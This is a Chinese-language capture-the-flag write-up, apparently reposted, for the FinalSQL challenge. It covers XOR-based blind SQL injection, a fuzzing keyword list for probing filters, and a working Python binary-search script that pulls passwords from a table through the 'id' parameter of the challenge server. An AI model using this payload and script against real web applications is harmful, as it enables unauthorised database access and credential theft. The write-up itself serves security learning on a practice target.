[極客大挑戰 2019]FinalSQL


0x00 前言

考點:盲注,異或注入

  • 異或'^'是一種數學運算,1^1=0 0^0=0 1^0=0,可以用來進行sql注入,當兩條件相同時(同真同假)結果為假,當兩條件不同時(一真一假)結果為真。

0x01 解題

  1. 進入題目頁面,嘗試在用戶名密碼處進行注入,做一下FUZZ測試:圖2圖3

大多數關鍵字都被過濾,下面附上我的我的FUZZ測試字典:

and
aNd
or
oR
oorr
select
sElect
union
unIon
union select
union/**/select
/**/
 
 '
 "
 \
 information_schema
 ^
 &&
 uniOn/**/select
  1. 點擊上面的數字,發現URL發生變化:圖4
    猜想id可能是注入點,接着做FUZZ測試,''沒有被過濾,輸入11回顯'ERROR',1^0回顯'NO! Not this! Click others~~~',判斷出為數字型注入。
  2. 給出我的exp:
import requests
url = 'http://d63d924a-88e3-4036-b463-9fc6a00f4fef.node3.buuoj.cn/search.php'
flag = ''
for i in range(1,250):
   low = 32
   high = 128
   mid = (low+high)//2
   while(low<high):
       #payload = 'http://d63d924a-88e3-4036-b463-9fc6a00f4fef.node3.buuoj.cn/search.php?id=1^(ascii(substr(database(),%d,1))=%d)#' %(i,mid)
       payload = "http://33e8c85b-d0d4-4777-9143-702ddf10ee0e.node3.buuoj.cn/search.php?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)" %(i,mid)
       res = requests.get(url=payload)

       if 'ERROR' in res.text:
           low = mid+1
       else:
           high = mid
       mid = (low+high)//2
   if(mid ==32 or mid ==127):
       break
   flag = flag+chr(mid)
   print(flag)

由於空格被過濾,用()代替,我這里payload直接寫到了最后一步,猜解表名,字段名的payload我這里就不寫了,直接去嵌套常規的聯合查詢語句即可。

用二分法速度還是很快的,效率上有很大提高。 圖6
拿到flag。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM